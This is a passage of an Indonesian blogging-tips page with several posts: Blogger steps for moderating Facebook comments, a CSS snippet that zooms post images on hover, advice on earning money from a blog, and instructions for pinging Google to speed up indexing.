Klik nama Aplikasi Komentar Anda. Contoh diatas, saya memiliki 3 jenis aplikasi.
6. Klik Pengaturan.
7. Maka akan muncul kotak setting seperti dibawah ini
cara memunculkan pemberitahuan facebook
8. Isi kotak Moderator dengan Nama Facebook Anda.
9. Pilih Modus Moderasi sesuai pengaturan anda. Jika ingin setiap komentar yang masuk harus melalui persetujuan kita terlebih dahulu, pilih yang opsi kedua seperti terlihat pada gambar.
10. Klik Simpan.

Dengan melakukan langkah-langkah diatas, setiap pengunjung blog yang ingin berkomentar dengan menggunakan akun jejaring sosial Facebook dapat kita tampilkan atau tidak sesuai persetujuan kita. Semoga artikel Cara memunculkan notifikasi pemberitahuan komentar facebook di blog ini dapat bermanfaat.

Memunculkan Notifikasi Pemberitahuan Komentar Facebook di Blog

zoom efek
Seperti yang kita ketahui, Photoshop adalah software untuk mengolah, mengedit, dan desain gambar. Berbagai macam efek seperti Brush, Clone Stamp, Magic Blur, Krop, dan sebagainya, tetapi tidak dengan efek zoom di Blogger. Karena efek zoom lebih kepada gambar yang ditampilkan lalu apabila dilihat akan membesar secara otomatis pada blog.

Zoom berfungsi untuk memperbesar atau memperkecil penglihatan sebuah gambar. Dengan memberi efek zoom di gambar artikel kita, maka akan membuat blog kita lebih terlihat menarik dan juga mengurangi berat loading blog apabila menggunakan gambar yang besar.

Cara pembuatannya cukup mudah dan simple, langsung ke tips cara membuatnya. Artikel Cara Merubah Background Blog dengan Gambar dapat anda baca juga.

Cara Membuat Efek Zoom pada Gambar :

1. Login ke akun blogger.com
2. Template >> Edit Html >> Lanjutkan >> Beri centang "Expand Template Widget".
3. Letakkan kode berikut ini tepat diatas kode ]]></b:skin> untuk caranya dengan menekan ctrl+F

    .post img:hover {
    -o-transition: all 0.3s;
    -moz-transition: all 0.3s;
    -webkit-transition: all 0.3s;
    -moz-transform: scale(1.3);
    -o-transform: scale(1.3);
    -webkit-transform: scale(1.3); }

4. Klik "Simpan Template" dan lihat salah satu postingan blog anda.

Begitulah cara sederhana untuk menampilkan gambar posting membesar apabila tersentuh mouse di blog. Semoga panduan dan tutorial cara membuat efek zoom pada gambar tersebut dapat bermanfaat.

Cara Membuat Efek Zoom pada Gambar

menulis artikel blog
Bagi seseorang yang suka menulis, mendapatkan penghasilan tambahan melalui Internet dapat dilakukan dengan mudah. Banyak yang mendapatkan uang dari hasil karya tulisnya dengan menggunakan sebuah situs. Bisa dengan membuat blog gratis, berbayar, website, atau toko online pribadi.

Dengan memanfaatkan berbagai media yang ada di Internet, kita dapat membangun usaha yang akan menghasilkan pekerjaan tambahan yang hanya dilakukan di rumah. Disini saya akan mencontohkan bagaimana cara menghasilkan uang melalui blog. Tutorialnya dapat anda baca di artikel Cara Membuat Blog Pribadi Gratis di Blogger.

Sebagai langkah awal yang tepat dalam memulai usaha, berikut tips-tipsnya :
  1. Luangkan waktu untuk mencari informasi usaha online melalui buku, majalah, atau koran untuk anda jadikan bahan motivasi langkah usaha anda kedepannya dan sebagai pedoman.
  2. Tentukan tujuan, bakat, dan kemampuan yang anda miliki.
  3. Pikirkan semua aspek yang dibutuhkan untuk menunjang usaha anda. Contoh : Modal, Anggaran, Pekerja, Product, Riset Pasar, Keuntungan dan lain sebagainya.
  4. Ruang Usaha. Buat Sebuah tempat khusus dimana anda akan memulai bisnis online anda tersebut. Apabila di rumah dan anda melakukan bisnis berjualan kue maka anda harus memiliki Dapur yang besar.
  5. Pastikan kepatuhan terhadap hukum yang berlaku dan harus memiliki izin.
  6. Buat Anggota keluarga terlibat dalam bisnis anda.
  7. Product yang anda jual harus aman, tanpa bahan kimia, bahan peledak, dan sebagainya.
  8. Bangun Kepercayaan kepada pembeli.
Dengan mempersiapkan langkah-langkah diatas, kita dapat membuat bisnis online di rumah dengan mudah. Tentu saja kita juga harus memliki kesabaran dan teliti dalam mendatangkan banyak pengunjung / pembeli.

Setelah mengetahui beberapa langkah untuk memulai usaha bisnis anda, sekarang saya akan membahas untuk semua orang yang ingin menghasilkan uang melalui blog.

Kriteria blog yang dapat menghasilkan uang adalah blog yang memiliki pengunjung banyak, pagerank tinggi, dan memiliki reputasi yang baik. Untuk mendapatkan itu semua, anda harus bekerja keras, ulet, rajin, fokus, serta konsisten terhadap blog tersebut. Dalam kurun waktu 3 bulan, barulah anda dapat mendaftarkan ke berbagai perusahaan iklan di Internet.

Dalam jangka waktu 3 bulan tersebut anda harus membuat artikel yang berkualitas setiap harinya, melakukan submit ke search engine, directory,atau bookmark, dan mempromosikan blog anda ke social networking.

Berikut ini beberapa cara menghasilkan uang melalui blog di internet :

1. Paid to Write
Ini merupakan salah satu model moneytize blog melalui program pay per post ( dibayar per-posting artikel ). Anda diminta untuk membuat artikel dengan menggunakan bahasa inggris tentunya mengenai produk dan layanan yang telah ditentukan. Dalam beberapa program, anda dapat mengatur sendiri berapa besar pembayaran untuk setial artikelnya.

Contoh dari program ini antara lain :
Payperpost http://payperpost.com
Smorty http://smorty.com
Blogvertise http://blogvertise.com
SponsoredReviews http://sponsoredreviews.com
Blogging Ads http://bloggingads.com
Blogitive http://my.blogitive.com/pages/howto

dan ada juga yang menggunakan bahasa Indonesia karena merupakan program lokal.

Biasanya untuk diterima dalam program tersebut, nilai pagerank google anda minimal 1 dan memiliki rangking alexa di bawah 500.000. Untuk itu, anda harus bekerja keras agar blog anda memiliki konten yang unik dan berkualitas sehingga memiliki pagerank dan peringkat tinggi.

2. Paid To Click
PTC adalah sebuah program pemasangan iklan di bagian halaman blog yang apabila di klik oleh pengunjung maka kita akan meraih penghasilan. Beberapa PTC terkenal juga menghitung pendapatan melalui pageviews dan hasil pencarian mereka. Untuk itu, semakin blog anda banyak pengunjung maka semakin besar pula penghasilan anda.

Beberapa PTC Terkenal dengan bayaran tertinggi adalah sebagai berikut :
Sedangkan untuk di PTC lokal Indonesia adalah Idblognetwork , Sitti Ads, Adsensecamp, Kumpulblogger dan lainnya.
Apply to be a Chitika Publisher!

$20 in FREE Clicks for everyone from BidVertiser - Click Here!

Untuk mengikuti PPC tersebut, masing-masing memiliki persyaratan yang berlaku. Salah satu syarat utamanya adalah anda tidak boleh copy paste artikel dari orang lain dan tidak membuat artikel yang mengandung hak cipta, merk dagang, SARA, dan lain sebagainya.

3. Menjadi Freelance
Banyak perusahaan nirlaba yang memiliki website / blog tetapi kurang memiliki SDM (Sumber Daya Manusia). Anda dapat menjadi tenaga kerja freelance untuk menjadi penulis konten, merawat blog, mempromosikan product mereka atau lainnya.

Anda harus memiliki gaya menulis yang kreatif dan inovatif dengan kemampuan grammar yang baik. Selain itu, bukan hanya menulis artikel anda juga bisa menjadi Programming, Developers Game,Publisher dan sebagainya.

Sebagai contoh anda dapat berkunjung ke elance.com untuk mendapatkan jobs.
Dalam menghasilkan penghasilan di media Internet dibutuhkan kerja keras, konsistensi, produktifitas, dan kreatifitas. Memulai memang sangat berat, tetapi pada nantinya anda akan mendapatkan hasil yang begitu besar. Bukankah menghasilkan uang di internet itu mudah ?

Menghasilkan Uang di Internet dengan Blog


Untuk menjadikan blog rangking 1 di Google, kita harus memanfaatkan berbagai fitur yang dimiliki oleh Google dengan maksimal. Google Ping adalah salah satu fitur yang sangat berguna untuk kemajuan blog Anda menjadi lebih terindex oleh search engine. Sebelum kita menggunakan fasilitas tersebut, kita harus mengetahui apakah pengertian dari Ping ?

Ping adalah Tools yang berfungsi untuk memanggil robot search engine google ( mesin pencari ) agar dapat menjelajahi halaman situs web atau blog yang melakukan ping ke google tersebut. Ping ini akan sangat bermanfaat apabila kita lakukan setelah melakukan posting suatu artikel terbaru. Karena, artikel kita terbaru tersebut akan langsung dibaca, diterjemahkan, dan dijelajahi oleh robot search engine Google seperti spider dan lainnya. Apabila kita hanya berharap menunggu robot search engine menjelajahi halaman situs blog atau website kita tanpa adanya pemanggilan maka prosesnya pun bisa cepat atau lambat. Jika cepat maka, halaman blog kita cepat terindex sedangkan apabila lambat akan sangat merugikan kita karena dapat diperhitungkan pengunjung pun akan sulit menemukan halaman blog kita.

Oleh karena itu, perlu ada pemberitahuan kepada robot google yang biasa dikenal dengan nama googlebot. Googlebot ini adalah salah satu fasilitas dari Ping. Oleh para webmaster tools, googlebot merupakan tools yang sangat bermanfaat dalam melakukan ping.

Saat ini banyak sekali layanan yang menyediakan fasilitas untuk melakukan ping ke Google. Namun, apakah kita percaya pada layanan tersebut? Bagaimana jika ping terkadang tidak sampai? Maka dari itu, gunakanlah Google Ping ini agar dapat menjadikan blog Anda Rangking 1 di Google.

Cara Melakukan Ping Otomatis ke Google dapat Anda lakukan dengan cara masuk ke halaman Google Ping ini.
  • Tunggu 5 detik, klik SKIP ADD.
  • Maka Anda akan otomatis terhubung ke Ping Otomatis Google.
  • Masukkan data blog Anda di kotak yang telah disediakan.
  • Klik Check All dibawahnya ( ada 3 buah Check All )
  • Lalu, klik Ping atau Service to Ping
Sedangkan untuk Cara Membuat Ping Manual ke Google :
  • Masuk ke Google Ping. Tunggu 5 detik dan klik Skip Add.
  • Masukkan URL Blog Anda atau halaman Feed Anda.
  • Klik Submit Ping.
Perbedaan antara ping otomatis dengan ping manual adalah :
  • Ping otomatis akan memudahkan blog kita dengan hanya cukup menggunakannya 1 kali, Ping Manual harus melakukan ping setiap kali membuat artikel terbaru.
  • Ping otomatis lebih memiliki banyak fasilitas yang dapat menambah pageviews kita.
  • Ping Manual hanya akan memanggil robot webmaster google sehingga lebih efektif.
  • Terkadang setiap bulan, salah satu tools ping automatic tidak berfungsi.
Untuk itu, lebih baik gunakanlah kedua Google Ping tersebut agar halaman blog kita cepat terindex. Tentu akan sangat mudah untuk menjadikan blog kita rangking 1 di Google. Itulah tadi ulasan artikel berjudul "Menjadikan Blog Rangking 1 di Google dengan Google Ping". Semoga bermanfaat

Menjadikan Blog Rangking 1 di Google dengan Google Ping